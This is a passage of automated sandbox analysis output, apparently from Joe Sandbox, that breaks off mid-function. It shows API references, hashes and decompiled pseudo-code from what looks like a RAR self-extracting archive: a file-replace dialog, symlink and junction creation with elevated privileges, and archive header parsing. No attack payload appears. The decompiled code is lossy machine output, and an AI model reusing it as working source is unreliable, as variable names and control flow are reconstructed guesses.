FindFirstFileW.KERNEL32(?,?), ref: 013BA686
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 013BA6A4
FileTimeToSystemTime.KERNEL32(?,?), ref: 013BA6B4
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 013BA6D1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 013BA6EF

Part of subcall function 013AD192: LoadStringW.USER32(?,?,00000200,?), ref: 013AD1D7
Part of subcall function 013AD192: LoadStringW.USER32(?,?,00000200,?), ref: 013AD1ED

_swprintf.LIBCMT ref: 013BA71F

Part of subcall function 013A3F2B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 013A3F3E

SetDlgItemTextW.USER32(?,0000006A,?), ref: 013BA732
FindClose.KERNEL32(00000000), ref: 013BA735
_swprintf.LIBCMT ref: 013BA790
SetDlgItemTextW.USER32(?,00000068,?), ref: 013BA7A3
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 013BA7B9
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 013BA7D9
FileTimeToSystemTime.KERNEL32(?,?), ref: 013BA7E9
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 013BA803
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 013BA81B
_swprintf.LIBCMT ref: 013BA84C
SetDlgItemTextW.USER32(?,0000006B,?), ref: 013BA85F
_swprintf.LIBCMT ref: 013BA8AF
SetDlgItemTextW.USER32(?,00000069,?), ref: 013BA8C2

Part of subcall function 013B932E: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 013B9354
Part of subcall function 013B932E: GetNumberFormatW.KERNEL32 ref: 013B93A3

Strings

REPLACEFILEDLG, xrefs: 013BA55D
%s %s %s, xrefs: 013BA70D, 013BA839
%s %s, xrefs: 013BA77E, 013BA8A1

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLoadLocalStringSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3227067027-1840816070
Opcode ID: 7a70649b5aa0a97786b868c85996e0ba125feb8c8ee3c07a2e33ad0c59a1f40e
Instruction ID: d2612e60866ca5ff9c1fc6846f4f5ce7b0d4f88b10571719853c774fd1ea29c4
Opcode Fuzzy Hash: 7a70649b5aa0a97786b868c85996e0ba125feb8c8ee3c07a2e33ad0c59a1f40e
Instruction Fuzzy Hash: 5B91C772148309BBE231DBA4DD89FFB7BECEB49708F404819F789D2480E775A6058762

Uniqueness

Uniqueness Score: -1.00%

Function 013A7070 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 299
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E013A7070(void* __edx) {
				void* __esi;
				signed int _t111;
				signed int _t113;
				void* _t116;
				int _t118;
				intOrPtr _t121;
				signed int _t139;
				int _t145;
				void* _t182;
				void* _t185;
				void* _t190;
				short _t191;
				void* _t197;
				void* _t202;
				void* _t203;
				void* _t222;
				void* _t223;
				intOrPtr _t224;
				intOrPtr _t226;
				void* _t228;
				WCHAR* _t229;
				intOrPtr _t233;
				short _t237;
				void* _t238;
				intOrPtr _t239;
				short _t241;
				void* _t242;
				void* _t244;
				void* _t245;

				_t223 = __edx;
				E013BCDF0(E013CF505, _t242);
				E013BCEC0();
				 *((intOrPtr*)(_t242 - 0x18)) = 1;
				if( *0x13dcba3 == 0) {
					E013A7A9D(L"SeRestorePrivilege");
					E013A7A9D(L"SeCreateSymbolicLinkPrivilege");
					 *0x13dcba3 = 1;
				}
				_t199 = _t242 - 0x2c;
				E013A138D(_t242 - 0x2c, 0x1418);
				_t197 =  *(_t242 + 0x10);
				 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
				E013AF160(_t242 - 0x107c, _t197 + 0x1104, 0x800);
				 *((intOrPtr*)(_t242 - 0x10)) = E013C20A3(_t242 - 0x107c);
				_t232 = _t242 - 0x107c;
				_t228 = _t242 - 0x207c;
				_t111 = E013C3579(_t242 - 0x107c, L"\\??\\", 4);
				_t245 = _t244 + 0x10;
				asm("sbb al, al");
				_t113 =  ~_t111 + 1;
				 *(_t242 - 0x14) = _t113;
				if(_t113 != 0) {
					_t232 = _t242 - 0x1074;
					_t190 = E013C3579(_t242 - 0x1074, L"UNC\\", 4);
					_t245 = _t245 + 0xc;
					if(_t190 == 0) {
						_t191 = 0x5c;
						 *((short*)(_t242 - 0x207c)) = _t191;
						_t228 = _t242 - 0x207a;
						_t232 = _t242 - 0x106e;
					}
				}
				E013C3557(_t228, _t232);
				_t116 = E013C20A3(_t242 - 0x207c);
				_t233 =  *((intOrPtr*)(_t242 + 8));
				_t229 =  *(_t242 + 0xc);
				 *(_t242 + 0x10) = _t116;
				if( *((char*)(_t233 + 0x618f)) != 0) {
					L9:
					_push(1);
					_push(_t229);
					E013A9D1E(_t199, _t242);
					if( *((char*)(_t197 + 0x10f1)) != 0 ||  *((char*)(_t197 + 0x2104)) != 0) {
						_t118 = CreateDirectoryW(_t229, 0);
						__eflags = _t118;
						if(_t118 == 0) {
							goto L27;
						}
						goto L14;
					} else {
						_t182 = CreateFileW(_t229, 0x40000000, 0, 0, 1, 0x80, 0);
						if(_t182 == 0xffffffff) {
							L27:
							 *((char*)(_t242 - 0x18)) = 0;
							L28:
							E013A15CE(_t242 - 0x2c);
							 *[fs:0x0] =  *((intOrPtr*)(_t242 - 0xc));
							return  *((intOrPtr*)(_t242 - 0x18));
						}
						CloseHandle(_t182);
						L14:
						_t121 =  *((intOrPtr*)(_t197 + 0x1100));
						if(_t121 != 3) {
							__eflags = _t121 - 2;
							if(_t121 == 2) {
								L18:
								_t202 =  *(_t242 - 0x2c);
								_t224 =  *((intOrPtr*)(_t242 - 0x10));
								 *_t202 = 0xa000000c;
								_t237 = _t224 + _t224;
								 *((short*)(_t202 + 0xa)) = _t237;
								 *((short*)(_t202 + 4)) = 0x10 + ( *(_t242 + 0x10) + _t224) * 2;
								 *((intOrPtr*)(_t202 + 6)) = 0;
								E013C3557(_t202 + 0x14, _t242 - 0x107c);
								_t60 = _t237 + 2; // 0x3
								_t238 =  *(_t242 - 0x2c);
								 *((short*)(_t238 + 0xc)) = _t60;
								 *((short*)(_t238 + 0xe)) =  *(_t242 + 0x10) +  *(_t242 + 0x10);
								E013C3557(_t238 + ( *((intOrPtr*)(_t242 - 0x10)) + 0xb) * 2, _t242 - 0x207c);
								_t139 =  *(_t242 - 0x14) & 0x000000ff ^ 0x00000001;
								__eflags = _t139;
								 *(_t238 + 0x10) = _t139;
								L19:
								_t203 = CreateFileW(_t229, 0xc0000000, 0, 0, 3, 0x2200000, 0);
								 *(_t242 + 0x10) = _t203;
								if(_t203 == 0xffffffff) {
									goto L27;
								}
								_t145 = DeviceIoControl(_t203, 0x900a4, _t238, ( *(_t238 + 4) & 0x0000ffff) + 8, 0, 0, _t242 - 0x30, 0);
								_t262 = _t145;
								if(_t145 != 0) {
									E013A9451(_t242 - 0x30a0);
									 *(_t242 - 4) = 1;
									 *((intOrPtr*)( *((intOrPtr*)(_t242 - 0x30a0)) + 8))();
									_t239 =  *((intOrPtr*)(_t242 + 8));
									 *(_t242 - 0x309c) =  *(_t242 + 0x10);
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									E013A9A62(_t242 - 0x30a0, _t239,  ~( *(_t239 + 0x72c8)) & _t197 + 0x00001040,  ~( *(_t239 + 0x72cc)) & _t197 + 0x00001048,  ~( *(_t239 + 0x72d0)) & _t197 + 0x00001050);
									E013A94F3(_t242 - 0x30a0);
									__eflags =  *((char*)(_t239 + 0x61a0));
									if( *((char*)(_t239 + 0x61a0)) == 0) {
										E013AA113(_t229,  *((intOrPtr*)(_t197 + 0x24)));
									}
									E013A9487(_t242 - 0x30a0);
									goto L28;
								}
								CloseHandle( *(_t242 + 0x10));
								E013A6F5F(_t262, 0x15, 0, _t229);
								_t160 = GetLastError();
								if(_t160 == 5 || _t160 == 0x522) {
									if(E013AF2F6() == 0) {
										E013A1599(_t242 - 0x7c, 0x18);
										_t160 = E013B01CD(_t242 - 0x7c);
									}
								}
								E013C1A79(_t160);
								E013A6E8B(0x13dcbe8, 9);
								_push(_t229);
								if( *((char*)(_t197 + 0x10f1)) == 0) {
									DeleteFileW();
								} else {
									RemoveDirectoryW();
								}
								goto L27;
							}
							__eflags = _t121 - 1;
							if(_t121 != 1) {
								goto L27;
							}
							goto L18;
						}
						_t222 =  *(_t242 - 0x2c);
						_t226 =  *((intOrPtr*)(_t242 - 0x10));
						 *_t222 = 0xa0000003;
						_t241 = _t226 + _t226;
						 *((short*)(_t222 + 0xa)) = _t241;
						 *((short*)(_t222 + 4)) = 0xc + ( *(_t242 + 0x10) + _t226) * 2;
						 *((intOrPtr*)(_t222 + 6)) = 0;
						E013C3557(_t222 + 0x10, _t242 - 0x107c);
						_t40 = _t241 + 2; // 0x3
						_t238 =  *(_t242 - 0x2c);
						 *((short*)(_t238 + 0xc)) = _t40;
						 *((short*)(_t238 + 0xe)) =  *(_t242 + 0x10) +  *(_t242 + 0x10);
						E013C3557(_t238 + ( *((intOrPtr*)(_t242 - 0x10)) + 9) * 2, _t242 - 0x207c);
						goto L19;
					}
				}
				if( *(_t242 - 0x14) != 0) {
					goto L27;
				}
				_t185 = E013AB48B(_t197 + 0x1104);
				_t255 = _t185;
				if(_t185 != 0) {
					goto L27;
				}
				_push(_t197 + 0x1104);
				_push(_t229);
				_push(_t197 + 0x28);
				_push(_t233);
				if(E013A787F(_t223, _t255) == 0) {
					goto L27;
				}
				goto L9;
			}

0x013a7070
0x013a7075
0x013a707f
0x013a7091
0x013a7094
0x013a709b
0x013a70a5
0x013a70aa
0x013a70aa
0x013a70b5
0x013a70b8
0x013a70bd
0x013a70c0
0x013a70d7
0x013a70ea
0x013a70ed
0x013a70f5
0x013a7101
0x013a7106
0x013a710b
0x013a710d
0x013a710f
0x013a7114
0x013a7118
0x013a7126
0x013a712b
0x013a7130
0x013a7134
0x013a7135
0x013a713c
0x013a7142
0x013a7142
0x013a7130
0x013a714a
0x013a7156
0x013a715b
0x013a7161
0x013a7164
0x013a716e
0x013a71a8
0x013a71ab
0x013a71ac
0x013a71ad
0x013a71b9
0x013a71f0
0x013a71f6
0x013a71f8
0x00000000
0x00000000
0x00000000
0x013a71c4
0x013a71d5
0x013a71de
0x013a739e
0x013a739e
0x013a73a2
0x013a73a5
0x013a73b3
0x013a73bd
0x013a73bd
0x013a71e5
0x013a71fe
0x013a71fe
0x013a7207
0x013a726f
0x013a7272
0x013a727c
0x013a727c
0x013a727f
0x013a7287
0x013a728d
0x013a7290
0x013a729b
0x013a72a1
0x013a72af
0x013a72b4
0x013a72b7
0x013a72ba
0x013a72c3
0x013a72d8
0x013a72e6
0x013a72e6
0x013a72e9
0x013a72ec
0x013a7304
0x013a7306
0x013a730c
0x00000000
0x00000000
0x013a732a
0x013a7330
0x013a7332
0x013a73ce
0x013a73df
0x013a73e3
0x013a73e6
0x013a73ec
0x013a7400
0x013a7413
0x013a7426
0x013a7431
0x013a743c
0x013a7441
0x013a7448
0x013a744e
0x013a744e
0x013a7459
0x00000000
0x013a7459
0x013a733c
0x013a7347
0x013a734c
0x013a7355
0x013a7365
0x013a736c
0x013a7374
0x013a7374
0x013a7365
0x013a7380
0x013a7389
0x013a7395
0x013a7396
0x013a73c0
0x013a7398
0x013a7398
0x013a7398
0x00000000
0x013a7396
0x013a7274
0x013a7276
0x00000000
0x00000000
0x00000000
0x013a7276
0x013a7209
0x013a720c
0x013a7214
0x013a721a
0x013a721d
0x013a7228
0x013a722e
0x013a723c
0x013a7241
0x013a7244
0x013a7247
0x013a7250
0x013a7265
0x00000000
0x013a726a
0x013a71b9
0x013a7174
0x00000000
0x00000000
0x013a7181
0x013a7186
0x013a7188
0x00000000
0x00000000
0x013a7194
0x013a7195
0x013a7199
0x013a719a
0x013a71a2
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 013A7075
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 013A71D5
CloseHandle.KERNEL32(00000000), ref: 013A71E5

Part of subcall function 013A7A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 013A7AAC
Part of subcall function 013A7A9D: GetLastError.KERNEL32 ref: 013A7AF2
Part of subcall function 013A7A9D: CloseHandle.KERNEL32(?), ref: 013A7B01

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 013A71F0
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 013A72FE
DeviceIoControl.KERNEL32 ref: 013A732A
CloseHandle.KERNEL32(?), ref: 013A733C
GetLastError.KERNEL32(00000015,00000000,?), ref: 013A734C
RemoveDirectoryW.KERNEL32(?), ref: 013A7398
DeleteFileW.KERNEL32(?), ref: 013A73C0

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 013A70A0
UNC\, xrefs: 013A7120
\??\, xrefs: 013A70FB
SeRestorePrivilege, xrefs: 013A7096

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: cea88f7dd226141d7cebddf7e363928fc98e8f12cd8c952d8085041e82264765
Instruction ID: 52cb8f21f0b6b35e48f48228bc822ef2f8117f45f5d2c9f895addd78a945a70f
Opcode Fuzzy Hash: cea88f7dd226141d7cebddf7e363928fc98e8f12cd8c952d8085041e82264765
Instruction Fuzzy Hash: 78B1E271900219AFEB25DF68DC84BEE77BCEF18708F444459E919E7281D731AA44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013A31F0 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 604
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E013A31F0(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				void* _t239;
				signed int _t242;
				void* _t248;
				unsigned int _t250;
				signed int _t254;
				signed int _t255;
				unsigned int _t256;
				void* _t257;
				char _t270;
				signed int _t289;
				unsigned int _t290;
				intOrPtr _t291;
				signed int _t292;
				signed int _t295;
				char _t302;
				signed char _t304;
				signed int _t320;
				signed int _t331;
				signed int _t335;
				signed int _t350;
				signed char _t352;
				unsigned int _t362;
				void* _t378;
				void* _t380;
				void* _t392;
				intOrPtr* _t394;
				intOrPtr* _t396;
				signed int _t409;
				signed int _t419;
				char _t431;
				signed int _t432;
				signed int _t437;
				signed int _t441;
				intOrPtr _t449;
				unsigned int _t455;
				unsigned int _t458;
				signed int _t462;
				signed int _t470;
				signed int _t479;
				signed int _t484;
				signed int _t498;
				intOrPtr _t499;
				signed int _t500;
				signed char _t501;
				unsigned int _t502;
				void* _t509;
				void* _t517;
				signed int _t520;
				void* _t521;
				signed int _t531;
				unsigned int _t534;
				void* _t539;
				intOrPtr _t543;
				void* _t544;
				void* _t545;
				void* _t546;
				intOrPtr _t556;

				_t396 = __ecx;
				_t546 = _t545 - 0x68;
				E013BCDF0(E013CF441, _t544);
				E013BCEC0();
				_t394 = _t396;
				E013AC1BC(_t544 + 0x30, _t394);
				 *(_t544 + 0x60) = 0;
				 *((intOrPtr*)(_t544 - 4)) = 0;
				if( *((intOrPtr*)(_t394 + 0x6cbc)) == 0) {
					L15:
					 *((char*)(_t544 + 0x6a)) = 0;
					L16:
					_t239 = E013AC3C7(_t498, 7);
					_t565 = _t239 - 7;
					if(_t239 >= 7) {
						 *(_t394 + 0x21f4) = 0;
						_t509 = _t394 + 0x21e4;
						 *_t509 = E013AC237(_t544 + 0x30);
						_t531 = E013AC3A3(_t544 + 0x30, 4);
						_t242 = E013AC337(_t498);
						__eflags = _t242 | _t498;
						if((_t242 | _t498) == 0) {
							L85:
							E013A1FBF(_t394);
							L86:
							E013A15CE(_t544 + 0x30);
							 *[fs:0x0] =  *((intOrPtr*)(_t544 - 0xc));
							return  *(_t544 + 0x60);
						}
						__eflags = _t531;
						if(_t531 == 0) {
							goto L85;
						}
						_t42 = _t531 - 3; // -3
						_t534 = _t531 + 4 + _t242;
						_t409 = _t42 + _t242;
						__eflags = _t409;
						 *(_t544 + 0x64) = _t534;
						if(_t409 < 0) {
							goto L85;
						}
						__eflags = _t534 - 7;
						if(_t534 < 7) {
							goto L85;
						}
						E013AC3C7(_t498, _t409);
						__eflags =  *(_t544 + 0x48) - _t534;
						if(__eflags < 0) {
							goto L17;
						}
						_t248 = E013AC317(_t544 + 0x30);
						 *(_t394 + 0x21e8) = E013AC337(_t498);
						_t250 = E013AC337(_t498);
						 *(_t394 + 0x21ec) = _t250;
						__eflags =  *_t509 - _t248;
						 *(_t394 + 0x21f4) = _t250 >> 0x00000002 & 0x00000001;
						 *(_t394 + 0x21f0) =  *(_t544 + 0x64);
						_t254 =  *(_t394 + 0x21e8);
						 *(_t394 + 0x21dc) = _t254;
						_t255 = _t254 & 0xffffff00 |  *_t509 != _t248;
						 *(_t544 + 0x6b) = _t255;
						__eflags = _t255;
						if(_t255 == 0) {
							L26:
							_t256 = 0;
							__eflags =  *(_t394 + 0x21ec) & 0x00000001;
							 *(_t544 + 0x58) = 0;
							 *(_t544 + 0x54) = 0;
							if(( *(_t394 + 0x21ec) & 0x00000001) == 0) {
								L30:
								__eflags =  *(_t394 + 0x21ec) & 0x00000002;
								_t536 = _t256;
								 *(_t544 + 0x64) = _t256;
								 *(_t544 + 0x5c) = _t256;
								if(( *(_t394 + 0x21ec) & 0x00000002) != 0) {
									_t362 = E013AC337(_t498);
									_t536 = _t362;
									 *(_t544 + 0x64) = _t362;
									 *(_t544 + 0x5c) = _t498;
								}
								_t257 = E013A18FA(_t394,  *(_t394 + 0x21f0));
								_t499 = 0;
								asm("adc eax, edx");
								 *((intOrPtr*)(_t394 + 0x6ca8)) = E013A3D91( *((intOrPtr*)(_t394 + 0x6ca0)) + _t257,  *((intOrPtr*)(_t394 + 0x6ca4)), _t536,  *(_t544 + 0x5c), _t499, _t499);
								 *((intOrPtr*)(_t394 + 0x6cac)) = _t499;
								_t500 =  *(_t394 + 0x21e8);
								__eflags = _t500 - 1;
								if(__eflags == 0) {
									E013AA907(_t394 + 0x2208);
									_t419 = 5;
									memcpy(_t394 + 0x2208, _t509, _t419 << 2);
									_t501 = E013AC337(_t500);
									 *(_t394 + 0x6cb5) = _t501 & 1;
									 *(_t394 + 0x6cb4) = _t501 >> 0x00000002 & 1;
									 *(_t394 + 0x6cb7) = _t501 >> 0x00000004 & 1;
									_t431 = 1;
									 *((char*)(_t394 + 0x6cba)) = 1;
									 *(_t394 + 0x6cbb) = _t501 >> 0x00000003 & 1;
									_t270 = 0;
									 *((char*)(_t394 + 0x6cb8)) = 0;
									__eflags = _t501 & 0x00000002;
									if((_t501 & 0x00000002) == 0) {
										 *((intOrPtr*)(_t394 + 0x6cd8)) = 0;
									} else {
										 *((intOrPtr*)(_t394 + 0x6cd8)) = E013AC337(_t501);
										_t270 = 0;
										_t431 = 1;
									}
									__eflags =  *(_t394 + 0x6cb5);
									if( *(_t394 + 0x6cb5) == 0) {
										L81:
										_t431 = _t270;
										goto L82;
									} else {
										__eflags =  *((intOrPtr*)(_t394 + 0x6cd8)) - _t270;
										if( *((intOrPtr*)(_t394 + 0x6cd8)) == _t270) {
											L82:
											 *((char*)(_t394 + 0x6cb9)) = _t431;
											_t432 =  *(_t544 + 0x58);
											__eflags = _t432 |  *(_t544 + 0x54);
											if((_t432 |  *(_t544 + 0x54)) != 0) {
												E013A20D3(_t394, _t544 + 0x30, _t432, _t394 + 0x2208);
											}
											L84:
											 *(_t544 + 0x60) =  *(_t544 + 0x48);
											goto L86;
										}
										goto L81;
									}
								}
								if(__eflags <= 0) {
									goto L84;
								}
								__eflags = _t500 - 3;
								if(_t500 <= 3) {
									__eflags = _t500 - 2;
									_t120 = (0 | _t500 != 0x00000002) - 1; // -1
									_t517 = (_t120 & 0xffffdcb0) + 0x45d0 + _t394;
									 *(_t544 + 0x2c) = _t517;
									E013AA86D(_t517, 0);
									_t437 = 5;
									memcpy(_t517, _t394 + 0x21e4, _t437 << 2);
									_t539 =  *(_t544 + 0x2c);
									 *(_t544 + 0x60) =  *(_t394 + 0x21e8);
									 *(_t539 + 0x1058) =  *(_t544 + 0x64);
									 *((char*)(_t539 + 0x10f9)) = 1;
									 *(_t539 + 0x105c) =  *(_t544 + 0x5c);
									 *(_t539 + 0x1094) = E013AC337(_t500);
									 *(_t539 + 0x1060) = E013AC337(_t500);
									_t289 =  *(_t539 + 0x1094) >> 0x00000003 & 0x00000001;
									__eflags = _t289;
									 *(_t539 + 0x1064) = _t500;
									 *(_t539 + 0x109a) = _t289;
									if(_t289 != 0) {
										 *(_t539 + 0x1060) = 0x7fffffff;
										 *(_t539 + 0x1064) = 0x7fffffff;
									}
									_t441 =  *(_t539 + 0x105c);
									_t520 =  *(_t539 + 0x1064);
									_t290 =  *(_t539 + 0x1058);
									_t502 =  *(_t539 + 0x1060);
									__eflags = _t441 - _t520;
									if(__eflags < 0) {
										L51:
										_t290 = _t502;
										_t441 = _t520;
										goto L52;
									} else {
										if(__eflags > 0) {
											L52:
											 *(_t539 + 0x106c) = _t441;
											 *(_t539 + 0x1068) = _t290;
											_t291 = E013AC337(_t502);
											__eflags =  *(_t539 + 0x1094) & 0x00000002;
											 *((intOrPtr*)(_t539 + 0x24)) = _t291;
											if(( *(_t539 + 0x1094) & 0x00000002) != 0) {
												E013B0153(_t539 + 0x1040, _t502, E013AC237(_t544 + 0x30), 0);
											}
											 *(_t539 + 0x1070) =  *(_t539 + 0x1070) & 0x00000000;
											__eflags =  *(_t539 + 0x1094) & 0x00000004;
											if(( *(_t539 + 0x1094) & 0x00000004) != 0) {
												 *(_t539 + 0x1070) = 2;
												 *((intOrPtr*)(_t539 + 0x1074)) = E013AC237(_t544 + 0x30);
											}
											 *(_t539 + 0x1100) =  *(_t539 + 0x1100) & 0x00000000;
											_t292 = E013AC337(_t502);
											 *(_t544 + 0x64) = _t292;
											 *(_t539 + 0x20) = _t292 >> 0x00000007 & 0x00000007;
											_t449 = (_t292 & 0x0000003f) + 0x32;
											 *((intOrPtr*)(_t539 + 0x1c)) = _t449;
											__eflags = _t449 - 0x32;
											if(_t449 != 0x32) {
												 *((intOrPtr*)(_t539 + 0x1c)) = 0x270f;
											}
											 *((char*)(_t539 + 0x18)) = E013AC337(_t502);
											_t521 = E013AC337(_t502);
											 *(_t539 + 0x10fc) = 2;
											_t295 =  *((intOrPtr*)(_t539 + 0x18));
											 *(_t539 + 0x10f8) =  *(_t394 + 0x21ec) >> 0x00000006 & 1;
											__eflags = _t295 - 1;
											if(_t295 != 1) {
												__eflags = _t295;
												if(_t295 == 0) {
													_t177 = _t539 + 0x10fc;
													 *_t177 =  *(_t539 + 0x10fc) & 0x00000000;
													__eflags =  *_t177;
												}
											} else {
												 *(_t539 + 0x10fc) = 1;
											}
											_t455 =  *(_t539 + 8);
											 *(_t539 + 0x1098) = _t455 >> 0x00000003 & 1;
											 *(_t539 + 0x10fa) = _t455 >> 0x00000005 & 1;
											__eflags =  *(_t544 + 0x60) - 2;
											_t458 =  *(_t544 + 0x64);
											 *(_t539 + 0x1099) = _t455 >> 0x00000004 & 1;
											if( *(_t544 + 0x60) != 2) {
												L65:
												_t302 = 0;
												__eflags = 0;
												goto L66;
											} else {
												__eflags = _t458 & 0x00000040;
												if((_t458 & 0x00000040) == 0) {
													goto L65;
												}
												_t302 = 1;
												L66:
												 *((char*)(_t539 + 0x10f0)) = _t302;
												_t304 =  *(_t539 + 0x1094) & 1;
												 *(_t539 + 0x10f1) = _t304;
												asm("sbb eax, eax");
												 *(_t539 + 0x10f4) =  !( ~(_t304 & 0x000000ff)) & 0x00020000 << (_t458 >> 0x0000000a & 0x0000000f);
												asm("sbb eax, eax");
												 *(_t539 + 0x109c) =  ~( *(_t539 + 0x109b) & 0x000000ff) & 0x00000005;
												__eflags = _t521 - 0x1fff;
												if(_t521 >= 0x1fff) {
													_t521 = 0x1fff;
												}
												E013AC299(_t544 + 0x30, _t544 - 0x2074, _t521);
												 *((char*)(_t544 + _t521 - 0x2074)) = 0;
												_push(0x800);
												_t522 = _t539 + 0x28;
												_push(_t539 + 0x28);
												_push(_t544 - 0x2074);
												E013B078D();
												_t462 =  *(_t544 + 0x58);
												__eflags = _t462 |  *(_t544 + 0x54);
												if((_t462 |  *(_t544 + 0x54)) != 0) {
													E013A20D3(_t394, _t544 + 0x30, _t462, _t539);
												}
												_t319 =  *(_t544 + 0x60);
												__eflags =  *(_t544 + 0x60) - 2;
												if( *(_t544 + 0x60) != 2) {
													L72:
													_t320 = E013C20D9(_t319, _t522, L"CMT");
													__eflags = _t320;
													if(_t320 == 0) {
														 *((char*)(_t394 + 0x6cb6)) = 1;
													}
													goto L74;
												} else {
													E013A2004(_t394, _t539);
													_t319 =  *(_t544 + 0x60);
													__eflags =  *(_t544 + 0x60) - 2;
													if( *(_t544 + 0x60) == 2) {
														L74:
														__eflags =  *(_t544 + 0x6b);
														if(__eflags != 0) {
															E013A6F5F(__eflags, 0x1c, _t394 + 0x1e, _t522);
														}
														goto L84;
													}
													goto L72;
												}
											}
										}
										__eflags = _t290 - _t502;
										if(_t290 > _t502) {
											goto L52;
										}
										goto L51;
									}
								}
								__eflags = _t500 - 4;
								if(_t500 == 4) {
									_t470 = 5;
									memcpy(_t394 + 0x2248, _t394 + 0x21e4, _t470 << 2);
									_t331 = E013AC337(_t500);
									__eflags = _t331;
									if(_t331 == 0) {
										 *(_t394 + 0x225c) = E013AC337(_t500) & 0x00000001;
										_t335 = E013AC1EA(_t544 + 0x30) & 0x000000ff;
										 *(_t394 + 0x2260) = _t335;
										__eflags = _t335 - 0x18;
										if(_t335 <= 0x18) {
											E013AC299(_t544 + 0x30, _t394 + 0x2264, 0x10);
											__eflags =  *(_t394 + 0x225c);
											if( *(_t394 + 0x225c) != 0) {
												E013AC299(_t544 + 0x30, _t394 + 0x2274, 8);
												E013AC299(_t544 + 0x30, _t544 + 0x64, 4);
												E013AEC48(_t544 - 0x74);
												E013AEC8E(_t544 - 0x74, _t394 + 0x2274, 8);
												_push(_t544 + 8);
												E013AEB59(_t544 - 0x74);
												_t350 = E013BE8EC(_t544 + 0x64, _t544 + 8, 4);
												asm("sbb al, al");
												_t352 =  ~_t350 + 1;
												__eflags = _t352;
												 *(_t394 + 0x225c) = _t352;
											}
											 *((char*)(_t394 + 0x6cbc)) = 1;
											goto L84;
										}
										_push(_t335);
										_push(L"hc%u");
										L40:
										_push(0x14);
										_push(_t544);
										E013A3F2B();
										E013A3ED6(_t394, _t394 + 0x1e, _t544);
										goto L86;
									}
									_push(_t331);
									_push(L"h%u");
									goto L40;
								}
								__eflags = _t500 - 5;
								if(_t500 == 5) {
									_t479 = _t500;
									memcpy(_t394 + 0x4590, _t394 + 0x21e4, _t479 << 2);
									 *(_t394 + 0x45ac) = E013AC337(_t500) & 0x00000001;
									 *((short*)(_t394 + 0x45ae)) = 0;
									 *((char*)(_t394 + 0x45ad)) = 0;
								}
								goto L84;
							}
							_t484 = E013AC337(_t498);
							 *(_t544 + 0x54) = _t498;
							_t256 = 0;
							 *(_t544 + 0x58) = _t484;
							__eflags = _t498;
							if(__eflags < 0) {
								goto L30;
							}
							if(__eflags > 0) {
								goto L85;
							}
							__eflags = _t484 -  *(_t394 + 0x21f0);
							if(_t484 >=  *(_t394 + 0x21f0)) {
								goto L85;
							}
							goto L30;
						}
						E013A1FBF(_t394);
						 *((char*)(_t394 + 0x6cc4)) = 1;
						E013A6E8B(0x13dcbe8, 3);
						__eflags =  *((char*)(_t544 + 0x6a));
						if(__eflags == 0) {
							goto L26;
						} else {
							E013A6F5F(__eflags, 4, _t394 + 0x1e, _t394 + 0x1e);
							 *((char*)(_t394 + 0x6cc5)) = 1;
							goto L86;
						}
					}
					L17:
					E013A3E95(_t394, _t498, _t565);
					goto L86;
				}
				_t498 =  *((intOrPtr*)(_t394 + 0x6cc0)) + 8;
				asm("adc eax, ecx");
